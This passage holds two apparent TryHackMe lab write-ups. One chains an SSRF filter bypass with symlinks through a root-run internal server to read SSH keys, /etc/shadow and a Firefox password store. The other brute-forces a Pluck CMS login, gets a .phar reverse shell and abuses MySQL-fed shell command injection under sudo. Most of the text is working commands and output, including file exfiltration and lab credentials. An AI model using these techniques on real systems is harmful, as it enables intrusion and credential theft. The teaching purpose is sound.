templates               [Status: 200, Size: 1294, Words: 358, Lines: 44, Duration: 67ms]
uploads                 [Status: 200, Size: 630, Words: 23, Lines: 22, Duration: 56ms]
static                  [Status: 200, Size: 420, Words: 19, Lines: 18, Duration: 157ms]
.                       [Status: 200, Size: 1270, Words: 230, Lines: 37, Duration: 73ms]
.cache                  [Status: 200, Size: 474, Words: 19, Lines: 18, Duration: 78ms]
.local                  [Status: 200, Size: 414, Words: 19, Lines: 18, Duration: 135ms]
.ssh                    [Status: 200, Size: 399, Words: 18, Lines: 17, Duration: 133ms]
.bashrc                 [Status: 200, Size: 3771, Words: 522, Lines: 118, Duration: 131ms]
.bash_logout            [Status: 200, Size: 220, Words: 35, Lines: 8, Duration: 59ms]
.bash_history           [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 142ms]

This internal server on 0.0.0.0/port 80 is a plain directory listing HTTP server rooted at a user's home directory (templates, static, uploads match the Flask app's own project layout - the internal server is literally serving the app's project root, home-directory style). .ssh shows up as a listable directory:

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/.ssh/'

<title>Directory listing for /.ssh/</title>
<ul>
<li><a href="authorized_keys">authorized_keys</a></li>
<li><a href="id_rsa">id_rsa</a></li>
</ul>

Extracting the SSH Private Key via SSRF

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/.ssh/id_rsa'

Saved it and locked down permissions:

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/.ssh/id_rsa' -s | tee id_rsa
chmod 600 id_rsa

Guessed the wrong user first:

ssh -i id_rsa www@<MACHINE_IP>

www@<MACHINE_IP>: Permission denied (publickey).

Pulled authorized_keys too, which carries a comment identifying the actual owning user:

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/.ssh/authorized_keys'

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPXIWuD0UBkAjhHftpBaf949OT8wp/PYpD44TjkoSuC4vfhiPkpzVUmMNNM1GZz681FmJ4LwTB6VaCnBwoAJrvQp7ar/vNEtYeHbc5TFaJIAA5FN5rWzl66zeCFNaNx841E4CQSDs7dew3CCn3dRQHzBtT4AOlmcUs9QMSsUqhKn53EbivHCqkCnqZqqwTh0hkd0Cr5i3r/Yc4REqsVaI41Cl3pkDxrfbmhZdjxRpES8pO5dyOUvnq3iJZDOxFBsG8H4RODaZrTW78eZbcz1LKug/KlwQ6q8+e4+mpcdm7sHAAszk0eFcI2a37QQ4Fgq96OwMDo15l8mDDrk1Ur7aF beth@london

Comment beth@london gives the right username:

ssh -i id_rsa beth@<MACHINE_IP>

Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)
Last login: Mon May 13 22:38:30 2024 from 192.168.62.137
beth@london:~$ whoami
beth
beth@london:~$ id
uid=1000(beth) gid=1000(beth) groups=1000(beth)

Post-Exploitation as beth

ls -la

-rw-rw-r--  1 beth beth 3215 Apr 17  2024 app.py
-rw-rw-r--  1 beth beth  328 Apr 17  2024 gunicorn_config.py
-rw-r--r--  1 beth beth 1270 Apr 17  2024 index.html
drwxrwxr-x  6 beth beth 4096 Sep 17  2023 .env
drwxrwxr-x  2 beth beth 4096 Apr 17  2024 static
drwxrwxr-x  2 beth beth 4096 Apr 17  2024 templates
drwxrwxr-x  2 beth beth 4096 Aug 10 19:52 uploads

Full app source confirms the vulnerable routes:

cat app.py

from flask import Flask, render_template, request, send_from_directory, redirect, url_for, abort
import os
from PIL import Image
import requests
from werkzeug.utils import secure_filename
import base64

def is_local(url):
    if 'localhost' in url or '127.0.0.1' in url or '0.0.0.0' in url:
        return True
    return False

app = Flask(__name__)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

def is_image(file_path):
    try:
        with Image.open(file_path) as img:
            img.verify()
        return True
    except:
        return False

@app.route('/')
def home():
    return render_template('london.html')

@app.route('/gallery')
def gallery():
    filenames = os.listdir(app.config['UPLOAD_FOLDER'])
    return render_template('index.html', filenames=filenames)

def home():
    url = request.form.get('www', '')
    if is_local(url):
        abort(403)
    if url:
        return requests.get(url).text
    return "We are currently trying to take pictures as a URL too"

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return "No file part"
    file = request.files['file']
    if file.filename == '':
        return "No selected file"
    if file:
        filename = secure_filename(file.filename)
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        file.save(file_path)
        if is_image(file_path):
            return redirect(url_for('gallery'))
        else:
            os.remove(file_path)
            return "Uploaded file is not an image"
    return "Invalid file"

@app.route('/uploads/<filename>')
def download_file(filename):
    return send_from_directory(app.config['UPLOAD_FOLDER'], filename)

@app.route('/dejaview')
def view():
    return render_template('view.html')

@app.route('/view_image', methods=['POST'])
def view_image():
    image_url = request.form.get('image_url', '')
    url = request.form.get('www', '')
    if is_local(url):
        abort(403)
    if url:
        return requests.get(url).text
    return render_template('view.html', image_url=image_url)

@app.route('/contact')
def contact():
    return render_template('contact.html')

@app.route('/feedback', methods=['POST'])
def feedback():
    name = request.form.get('name')
    email = request.form.get('email')
    message = request.form.get('message')
    print(f"Received feedback from {name} ({email}): {message}")
    return render_template('feedback_response.html', name=name)

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8080)

Confirms exactly what was reverse-engineered from the outside: image_url is cosmetic, www is the real SSRF sink, and is_local() is a naive substring check.

find / -type f -name 'user.txt' 2>/dev/null

/home/beth/__pycache__/user.txt

cat /home/beth/__pycache__/user.txt

Confirming the Internal Server Runs as Root

ss -tulnp

tcp   LISTEN 0 128            0.0.0.0:8080         0.0.0.0:*
tcp   LISTEN 0   5          127.0.0.1:80           0.0.0.0:*
tcp   LISTEN 0 128            0.0.0.0:22            0.0.0.0:*

ps aux | grep 80

root         1  0.0  0.4 159468  8808 ?        Ss   19:32   0:01 /sbin/init noprompt
root       447  0.4  0.8  56956 17300 ?        Ss   19:32   0:14 /usr/bin/python3 -m http.server 80 --bind 127.0.0.1

The internal service the SSRF reaches on port 80 is a stock python3 -m http.server running as root, bound only to loopback. Since it's root, it can (and does) serve files regardless of the filesystem's normal Unix read permissions on the directory it's rooted in - and since it's loopback-only, the app's SSRF is the only way to reach it from outside.

ls -la /home/charles/

ls: cannot open directory '/home/charles/': Permission denied

Directly, beth can't read charles's home directory. But the SSRF into the root-run server sidesteps that entirely.

Reading Root-Owned Files Without a Root Shell (Symlink + SSRF)

The root http.server serves whatever directory it was started in (beth's home). Symlinks placed inside that directory get followed and served with root's read access - so instead of trying to escalate to an actual root shell, we can just point the server at whatever we want to read:

ln -s /root/root.txt root_flag_link

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/root_flag_link'

404 - Nothing matches the given URI.

root.txt at that exact path doesn't exist - checked with a directory symlink instead:

ln -s /root root_dir_link

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/root_dir_link/'

<title>Directory listing for /root_dir_link/</title>
<ul>
<li><a href=".bash_history">.bash_history@</a></li>
<li><a href=".bashrc">.bashrc</a></li>
<li><a href=".cache/">.cache/</a></li>
<li><a href=".gnupg/">.gnupg/</a></li>
<li><a href=".local/">.local/</a></li>
<li><a href=".profile">.profile</a></li>
<li><a href=".root.txt">.root.txt</a></li>
<li><a href=".selected_editor">.selected_editor</a></li>
<li><a href="__pycache__/">__pycache__/</a></li>
<li><a href="flag.py">flag.py</a></li>
<li><a href="flag.pyc">flag.pyc</a></li>
<li><a href="test.py">test.py</a></li>
</ul>

The flag is hidden as .root.txt (dotfile), not root.txt:

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/root_dir_link/.root.txt'

Root-owned flag recovered with zero privilege escalation on the box itself - purely by abusing the root-run internal HTTP server's willingness to follow a symlink beth was allowed to create.

Used the same trick against /etc/shadow:

ln -s /etc/shadow shadow_link

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/shadow_link'

root:$6$MuyQc/EB$TJ0f4UvSAQ/e8N2ehICim6KRPqsD2RBqQHRtaxluPLxeWazD3PU5RCc35JR62gKK6WvpA9v0r73jswtU4KSLU/:19792:0:99999:7:::
...
beth:$6$A/tivpZQ$Cgshl0A8kvAR08NLdpSeeZwimPLbipJ.KrVuWVOvKu8AT7cl8b1J5.2VvaS0fu8sa74Jd7pdNpqN/gmFLOC6W.:19807:0:99999:7:::
sshd:*:19616:0:99999:7:::
charles:$6$yO4vvijF$RIQZn9g5y5s3cP61AvKHe9ou2miZgmPdzlf.4gWinIEaG4PyBFPm5cgm0OMQF18./TBhs48Q/UmjOCs/ye7dV0:19798:0:99999:7:::

Full /etc/shadow including root, beth, and charles password hashes, read purely through the SSRF + symlink combo.

Pivoting to Charles' Firefox Profile

Same technique against charles's home directory:

ln -s /home/charles charles_dir

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/charles_dir'

<title>Directory listing for /charles_dir/</title>
<ul>
<li><a href=".bash_history">.bash_history@</a></li>
<li><a href=".bash_logout">.bash_logout</a></li>
<li><a href=".bashrc">.bashrc</a></li>
<li><a href=".mozilla/">.mozilla/</a></li>
<li><a href=".profile">.profile</a></li>
</ul>

Walked into the Firefox profile:

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/charles_dir/.mozilla/firefox/8k3bf3zp.charles'

<title>Directory listing for /charles_dir/.mozilla/firefox/8k3bf3zp.charles/</title>
<ul>
<li><a href="cert9.db">cert9.db</a></li>
<li><a href="cookies.sqlite">cookies.sqlite</a></li>
<li><a href="key4.db">key4.db</a></li>
<li><a href="logins-backup.json">logins-backup.json</a></li>
<li><a href="logins.json">logins.json</a></li>
<li><a href="places.sqlite">places.sqlite</a></li>
... (full profile directory listing, dozens of standard Firefox profile files)
</ul>

cert9.db, key4.db, and logins.json are exactly what's needed to decrypt saved browser passwords offline. Pulled the whole profile through the SSRF with a small download loop:

mkdir profile && cd profile
cat > download.sh << 'EOF'
BASE="http://<MACHINE_IP>:8080/view_image"
DIR="http://0/charles_dir/.mozilla/firefox/8k3bf3zp.charles"

for f in .parentlock addons.json addonStartup.json.lz4 AlternateServices.txt \
         broadcast-listeners.json cert9.db compatibility.ini containers.json \
         content-prefs.sqlite cookies.sqlite extension-preferences.json \
         extensions.json favicons.sqlite formhistory.sqlite handlers.json \
         key4.db logins-backup.json logins.json permissions.sqlite pkcs11.txt \
         places.sqlite prefs.js protections.sqlite search.json.mozlz4 \
         sessionCheckpoints.json sessionstore.jsonlz4 shield-preference-experiments.json \
         SiteSecurityServiceState.txt storage-sync-v2.sqlite storage-sync-v2.sqlite-shm \
         storage-sync-v2.sqlite-wal storage.sqlite times.json webappsstore.sqlite \
         xulstore.json; do
    echo "Fetching $f..."
    curl -s -X POST "$BASE" \
      -H 'Content-Type: application/x-www-form-urlencoded' \
      -d "www=${DIR}/${f}" -o "$f"
done

bash download.sh

Fetching .parentlock...
Fetching addons.json...
...
Fetching key4.db...
...
Fetching xulstore.json...

Fixing Binary Corruption from the SSRF Proxy

firefox_decrypt failed immediately against the pulled files:

python3 firefox_decrypt/firefox_decrypt.py profile/

WARNING - profile.ini not found in profile/
ERROR - Couldn't initialize NSS, maybe 'profile/' is not a valid profile?

file profile/key4.db profile/cert9.db
xxd profile/key4.db | head -3

profile/key4.db:  SQLite 3.x database, ... page size 57986 ...
00000000: 5351 4c69 7465 2066 6f72 6d61 7420 3300  SQLite format 3.
00000010: e282 ac00 0101 0040 2020 0000 0004 0000  .......@  ......

The header parses as a valid-looking SQLite file, but the field values (page size 57986, oversized page/database counts) are nonsensical for a real Firefox profile - the byte e2 82 ac at offset 0x10 is the UTF-8 encoding of the € (Euro sign) character, which is exactly what you get when a raw byte like 0x80 gets misinterpreted as CP1252/Latin-1 and re-encoded as UTF-8. That's the app's own requests.get(url).text doing implicit text decoding on binary data before we ever saw it - every binary file pulled through the SSRF was silently mangled.

Tried reversing the mangling locally:

cat > fix.py << 'EOF'
import sys
def fix_file(path, outpath):
    with open(path, 'rb') as f:
        data = f.read()
    try:
        text = data.decode('utf-8')
        fixed = text.encode('latin-1')
        with open(outpath, 'wb') as out:
            out.write(fixed)
        print(f"{path}: decoded/re-encoded successfully, {len(data)} -> {len(fixed)} bytes")
    except UnicodeDecodeError as e:
        print(f"{path}: FAILED - {e}")
    except UnicodeEncodeError as e:
        print(f"{path}: FAILED on re-encode - {e}")
if __name__ == "__main__":
    fix_file(sys.argv[1], sys.argv[2])
EOF

python3 fix.py key4.db key4_fixed.db

key4.db: FAILED on re-encode - 'latin-1' codec can't encode character '\u20ac' in position 16: ordinal not in range(256)

Tried cp1252 instead of latin-1 (since € specifically only exists in cp1252's extended range, not raw latin-1):

python3 fix.py key4.db key4_fixed.db

key4.db: FAILED on re-encode - 'charmap' codec can't encode character '\ufffd' in position 31299: character maps to <undefined>

Still failing - some bytes got replaced with the Unicode replacement character (�, U+FFFD) during the original requests.get().text decode, meaning information was permanently lost the moment the SSRF response was decoded as text server-side. No local re-encoding trick can recover bytes that were already thrown away. The fix has to happen before the data crosses that lossy text boundary - i.e., fetch the files locally on the target (where they're still raw bytes) instead of proxying them through the Flask app's .text property.

Since beth has a normal shell, just used wget directly against the same internal root-run server from inside the box (loopback access is unrestricted once you're already local, and wget preserves binary data correctly):

wget http://127.0.0.1/charles_dir/.mozilla/firefox/8k3bf3zp.charles/key4.db -O /tmp/key4.db
wget http://127.0.0.1/charles_dir/.mozilla/firefox/8k3bf3zp.charles/cert9.db -O /tmp/cert9.db
wget http://127.0.0.1/charles_dir/.mozilla/firefox/8k3bf3zp.charles/logins.json -O /tmp/logins.json

Then pulled the now-clean files back to the attacker box over SCP (proper binary transfer, no text decoding involved anywhere):

scp -i id_rsa beth@<MACHINE_IP>:/tmp/key4.db .
scp -i id_rsa beth@<MACHINE_IP>:/tmp/cert9.db .
scp -i id_rsa beth@<MACHINE_IP>:/tmp/logins.json .

key4.db                                                                        100%  288KB   1.2MB/s   00:00
cert9.db                                                                       100%  224KB 979.4KB/s   00:00
logins.json                                                                    100%  645     8.5KB/s   00:00

file key4.db cert9.db
xxd key4.db | head -3

key4.db:  SQLite 3.x database, last written using SQLite version 3041002, page size 32768, ...
00000000: 5351 4c69 7465 2066 6f72 6d61 7420 3300  SQLite format 3.
00000010: 8000 0101 0040 2020 0000 0004 0000 0009  .....@  ........

Sane page size, sane header - clean binary this time.

Decrypting the Firefox Profile

mkdir ../profile_clean
cp key4.db cert9.db logins.json ../profile_clean/
python3 ../firefox_decrypt/firefox_decrypt.py ../profile_clean/

WARNING - profile.ini not found in ../profile_clean/
Continuing and assuming '../profile_clean/' is a profile location

Website:   https://www.buckinghampalace.com
Username: 'Charles'
Password: 'thekingofengland'

Charles' saved browser login recovered.

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Hidden/undocumented SSRF parameter (`www`) not matching the visible form field (`image_url`)	`/view_image`	Discoverable only via parameter fuzzing; classic "the UI lies about what the backend accepts"
2	Full Server-Side Request Forgery, response body returned verbatim to the client	`requests.get(url).text` in `view_image()`/`home()`	Arbitrary internal network/file access from an unauthenticated endpoint
3	Substring-based `localhost`/`127.0.0.1`/`0.0.0.0` blacklist	`is_local()` in `app.py`	Trivially bypassed with alternate loopback notation (`http://0/`)
4	Root-owned, unauthenticated `python3 -m http.server` bound to loopback, serving a user's home directory	Internal port 80	Combined with the SSRF, becomes an arbitrary-file-read-as-root primitive
5	HTTP directory listing follows symlinks and serves target content with the server process's permissions, not the symlink creator's	Same internal server	Lets a low-privilege user (`beth`) read `/root`, `/etc/shadow`, and another user's home directory without ever escalating privileges locally
6	`requests.get(url).text` silently mis-decodes binary responses as text	SSRF response handling	Corrupts any binary file (SQLite DBs, keys, images) proxied through the endpoint - a real "feature", not a security bug per se, but a serious trap for exploit reliability

Lessons / Takeaways

Never trust that a visible form field name matches the backend parameter actually being used. The exposed image_url field was a decoy (or leftover dead code); the real sink (www) had to be found by fuzzing, not by reading the HTML form.
SSRF filters built on substring blacklists of 127.0.0.1/localhost are incomplete without also blocking alternate IP notations (0, 0x7f000001, 017700000001, IPv6 ::1, decimal/octal forms, etc.). Any of these can slip straight past a naive string check.
Running any service - even a "harmless" quick python3 -m http.server- as root is dangerous, especially bound to loopback "because it's internal." Loopback-only doesn't mean unreachable; any SSRF anywhere on the box turns it into a root-privileged file oracle.
A directory-serving HTTP daemon that follows symlinks inherits the process's read permissions, not the symlink owner's. This is exactly how beth, without ever getting a root shell, read /root, /etc/shadow, and charles's entire home directory - each just a ln -s plus a GET request away.
Binary data proxied through a web app's convenience .text accessor (rather than .content) will get corrupted. Once bytes are decoded as text and characters get replaced (U+FFFD), that data is gone for good - the only fix is to avoid the text-decoding round-trip entirely, e.g. by fetching binary files locally on the target instead of relying on the vulnerable app to proxy them back out.

TryHackMe : Dreaming Writeup

Yogeshwar Peela — Mon, 10 Aug 2026 17:20:00 +0000

Summary

Dreaming is a Linux box built around a Pluck CMS install. Brute-forcing the CMS admin login gives access to the admin panel, which is then abused via a known authenticated file-upload RCE (CVE-2020-29607) to get a reverse shell as www-data. A leftover automation script hands over a system password for lucien, whose limited sudo rule around a mysql.connector script has a classic subprocess(shell=True) command-injection bug: seeding a malicious row in the backing MySQL table lets us dump the script's source (and with it, death's DB credentials) by having the script echo back attacker-controlled shell syntax. From death, a world/group-writable copy of the system shutil.py module - imported by a root-run backup script - gives a classic Python library-hijack path: injecting a command into shutil.py gets executed with root privileges the next time the backup job (or any root process that imports shutil) runs, letting us chmod the final flag readable.

Attack Chain

nmap -> SSH + Apache, /app/ directory listing -> Pluck CMS 4.7.13
   |
Pluck LFI/RCE filename filter blocks direct path traversal + php://filter
   |
hydra brute-force of Pluck admin login -> "password"
   |
Pluck CMS admin panel -> known CVE-2020-29607 (auth'd file upload RCE, .phar bypass)
   |
Reverse shell as www-data
   |
/opt/test.py (lucien-owned) leaks a password reused for lucien's system account -> su lucien
   |
sudo -u death allowed script (getDreams.py) has subprocess(shell=True) command injection via MySQL data
   |
Injected $(cat getDreams.py) via MySQL row -> leaks death's DB password AND death's system password
   |
su death -> death_flag.txt
   |
World/group-writable /usr/lib/python3.8/shutil.py, imported by root-run restore.py/cron
   |
Inject os.system() into shutil.py -> executes as root on next import -> chmod flag readable
   |
morpheus_flag.txt

Recon

nmap -A -Pn <MACHINE_IP> -o nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 5c:14:c0:ac:47:41:97:ab:c6:bc:23:1d:6c:93:8e:96 (RSA)
|   256 07:5b:aa:2e:f1:fd:08:fd:85:58:53:50:7a:61:10:58 (ECDSA)
|_  256 09:06:07:6a:03:31:3b:12:ea:31:2d:12:4c:88:cc:66 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

Only SSH and HTTP open. The web root is the stock Apache default page:

curl http://<MACHINE_IP>

<title>Apache2 Ubuntu Default Page: It works</title>
...
It works!
This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems.
...
[default Apache2 Ubuntu boilerplate - no useful content, truncated]

Directory brute-force found an /app/ directory:

ffuf -u http://<MACHINE_IP>/FUZZ -w /usr/share/wordlists/dirb/big.txt

.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 48ms]
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2620ms]
app                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 42ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 37ms]
:: Progress: [20469/20469] :: Job [1/1] :: 975 req/sec :: Duration: [0:00:24] :: Errors: 0 ::

curl http://<MACHINE_IP>/app/

<h1>Index of /app</h1>
<tr><td><a href="/">Parent Directory</a></td></tr>
<tr><td><a href="pluck-4.7.13/">pluck-4.7.13/</a></td><td align="right">2020-01-29 08:55  </td></tr>

Directory listing reveals a Pluck CMS 4.7.13 install.

curl -L http://<MACHINE_IP>/app/pluck-4.7.13/

<meta name="generator" content="pluck 4.7.13" />
<title>dreaming - dreaming</title>
...
<h1 title="dreaming">dreaming</h1>
<h2 title="dreaming">dreaming</h2>
What power would hell have if those here imprisoned were not able to dream of heaven?
...
<a href="/app/pluck-4.7.13/login.php">admin</a> | powered by <a href="http://www.pluck-cms.org">pluck</a>

Vulnerability Attempt: LFI via `?file=` parameter (blocked)

Pluck's ?file= page-selector parameter looked like a classic LFI candidate:

curl 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=../../../etc/passwd'

A hacking attempt has been detected. For security reasons, we're blocking any code execution.

curl -v 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=../../../etc/passwd'

< HTTP/1.1 200 OK
< Set-Cookie: PHPSESSID=6bc61nh00ij5f553ob6mr04cih; path=/
< Content-Length: 93
A hacking attempt has been detected. For security reasons, we're blocking any code execution.

Tried a php://filter wrapper to read source instead of triggering the traversal filter directly:

curl -s 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=php://filter/convert.base64-encode/resource=/etc/passwd'
curl -s 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=php://filter/convert.base64-encode/resource=data/settings/pass.php'

A hacking attempt has been detected. For security reasons, we're blocking any code execution.

Both blocked - Pluck has a built-in input filter on ?file= that catches path traversal and stream wrappers alike. Abandoned this path and moved to the admin login instead.

Vulnerability: Weak Pluck Admin Credentials (Brute Force)

curl -s -b pluck-cookies.txt 'http://<MACHINE_IP>/app/pluck-4.7.13/admin.php' | grep -i "logged\|welcome\|admin\|logout"

<title>pluck 4.7.13 - not logged in</title>
<li>not logged in</li>
<div id="content"><div class="notice">You are not logged in! A moment, please...</div>

Pluck's login is a single password field (no username). Confirmed the login endpoint and its failure message:

curl -s -c pluck-cookies.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d 'cont1=admin&bogus=&submit=Log+in' -L

<div class="error">Password incorrect.</div>

Manual guesses came up empty:

for pass in password 1234 pluck admin123 root dreaming; do
  echo -n "Trying $pass: "
  curl -s -c /tmp/c.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d "cont1=$pass&bogus=&submit=Log+in" -L | grep -o "not logged in\|logged in\|Welcome"
done

Trying password: Trying 1234: Trying pluck: Trying admin123: Trying root: Trying dreaming:

(No hits - grep found nothing worth printing on any of these, which is a hint the response wording doesn't match those literal strings; time to automate properly.) Ran it through hydra against rockyou.txt:

hydra -l admin -P /usr/share/wordlists/rockyou.txt <MACHINE_IP> http-post-form "/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=Password incorrect" -t 30 -V

[DATA] max 30 tasks per 1 server, overall 30 tasks, 14344399 login tries (l:1/p:14344399), ~478147 tries per task
[DATA] attacking http-post-form://<MACHINE_IP>:80/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=Password incorrect
[ATTEMPT] target <MACHINE_IP> - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
...
[80][http-post-form] host: <MACHINE_IP>   login: admin   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-10 12:20:30

Password is simply password. Confirmed:

curl -s -c pluck-cookies.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d 'cont1=password&bogus=&submit=Log+in' -L

<div id="content"><div class="success">Password correct. Logging you in...</div><meta http-equiv="refresh" content="1; url=admin.php?action=start" />

Vulnerability: CVE-2020-29607 - Pluck CMS Authenticated File Upload RCE

searchsploit pluck 4.7.13

Exploit Title                                                                 |  Path
-------------------------------------------------------------------------------|---------------------------------
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)           | php/webapps/49909.py

Confirmed the technique via public writeup (loopspell.medium.com/cve-2020-29607) - Pluck blocks .php uploads by extension, but the block can be bypassed by uploading a .phar file (still executed as PHP by the server) containing a reverse shell payload.

Manual steps taken through the admin panel (screenshots):

Logged into the admin panel at admin.php?action=start, opened pages -> manage files.
Uploaded a renamed pentestmonkey PHP reverse-shell payload saved as evil.phar (bypassing the .php extension filter):

   Name: evil.phar
   Size: 2588 bytes
   Type: applicationoctet-stream
   Upload successful!
   uploaded files
   evil.phar   [preview icon]  [trash icon]

Started a listener, then clicked the magnifying-glass "preview" icon next to evil.phar in the file manager - this requests the uploaded file directly, causing Apache/PHP to execute it server-side:

penelope -p 4443 listen

[+] Listening for reverse shells on 0.0.0.0:4443 -> 127.0.0.1 * <ATTACKER_IP>
[+] [New Reverse Shell] => ip-10-48-167-123 <MACHINE_IP> Linux-x86_64 www-data(33) Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
[+] Session log: /root/.penelope/sessions/ip-10-48-167-123~<MACHINE_IP>-Linux-x86_64/2026_08_10-12_43_45-578-www-data(33).log

whoami; id; groups

www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data

Post-Exploitation - Enumerating Home Directories

ls -la /

drwxrwxr--   2 root saviors       4096 Jul 28  2023 kingdom_backup
...

ls -la /home

drwxr-xr-x  4 death    death    4096 Aug 25  2023 death
drwxr-xr-x  5 lucien   lucien   4096 Aug 25  2023 lucien
drwxr-xr-x  3 morpheus morpheus 4096 Aug  7  2023 morpheus
drwxr-xr-x  4 ubuntu   ubuntu   4096 May 18  2025 ubuntu

death's and morpheus's flags are both permission-denied to www-data:

cat /home/death/death_flag.txt

cat: /home/death/death_flag.txt: Permission denied

Found a file owned by lucien sitting in a world-readable location:

find / -type f -user lucien 2>/dev/null

/opt/test.py
/home/lucien/.sudo_as_admin_successful
/home/lucien/.mysql_history
/home/lucien/.bash_history
/home/lucien/.profile
/home/lucien/.bash_logout
/home/lucien/.bashrc
/home/lucien/lucien_flag.txt

cat /opt/test.py

import requests

#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "HeyLucien#@1999!"

data = {
        "cont1":password,
        "bogus":"",
        "submit":"Log+in"
        }

req = requests.post(url,data=data)

if "Password correct." in req.text:
    print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
    print("Something is wrong. Status Code: " + str(req.status_code))
    print("Results:\n" + req.text)

This was written to test the Pluck admin password, but lucien reused the same password for his system account:

su lucien
Password:

lucien@ip-10-48-167-123:/home$ whoami
lucien
lucien@ip-10-48-167-123:/home$ id
uid=1000(lucien) gid=1000(lucien) groups=1000(lucien),4(adm),24(cdrom),30(dip),46(plugdev)

cat lucien_flag.txt

Privilege Escalation - lucien to death via `subprocess` Command Injection

cat .bash_history

ls
cd /etc/ssh/
...
mysql -u lucien -plucien42DBPASSWORD
...
sudo -l
/usr/bin/python3 /home/death/getDreams.py
sudo -u death /usr/bin/python3 /home/death/getDreams.py
...

.bash_history leaks lucien's own MySQL password, and shows the exact sudo invocation he'd already used.

sudo -l

User lucien may run the following commands on ip-10-48-167-123:
    (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py

lucien can run one specific script as death, no password needed. Can't read the script directly (death-owned, execute-only for others):

cat /home/death/getDreams.py

cat: /home/death/getDreams.py: Permission denied

Ran it as allowed, to see what it does:

sudo -u death /usr/bin/python3 /home/death/getDreams.py

Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician

It's reading dreamer/dream pairs from a MySQL table and echoing them out. Logged in with lucien's leaked DB password to inspect the table directly:

mysql -u lucien -plucien42DBPASSWORD

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| library            |
| mysql              |
| performance_schema |
| sys                |
+--------------------+

mysql> use library;
Database changed

The script clearly builds a shell command from the row data and executes it (the output format dreamer + dream looks like an echo built from user-controlled fields). Tested command injection by inserting a row whose dreamer field is a shell command substitution:

mysql> insert into dreams values ("evil", "$(cat /home/death/getDreams.py
    "> )");

Query OK, 1 row affected (0.01 sec)

sudo -u death /usr/bin/python3 /home/death/getDreams.py

Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician

evil + import mysql.connector import subprocess # MySQL credentials DB_USER = "death" DB_PASS = "!mementoMORI666!" DB_NAME = "library" def getDreams(): try: connection = mysql.connector.connect( host="localhost", user=DB_USER, password=DB_PASS, database=DB_NAME ) cursor = connection.cursor() query = "SELECT dreamer, dream FROM dreams;" cursor.execute(query) dreams_info = cursor.fetchall() if not dreams_info: print("No dreams found in the database.") else: for dream_info in dreams_info: dreamer, dream = dream_info command = f"echo {dreamer} + {dream}" shell = subprocess.check_output(command, text=True, shell=True) print(shell) except mysql.connector.Error as error: print(f"Error: {error}") finally: cursor.close() connection.close() getDreams()

Confirmed: the script builds f"echo {dreamer} + {dream}" and runs it through subprocess.check_output(..., shell=True) with no sanitization of the DB-sourced dreamer/dream fields. Since it runs as death (via the sudo rule), any value we can get into that table is executed as death. Here it was used purely to cat the script's own source and leak death's DB password (!mementoMORI666!) - the same injection primitive could equally be used to spawn a shell as death directly.

su death
Password:

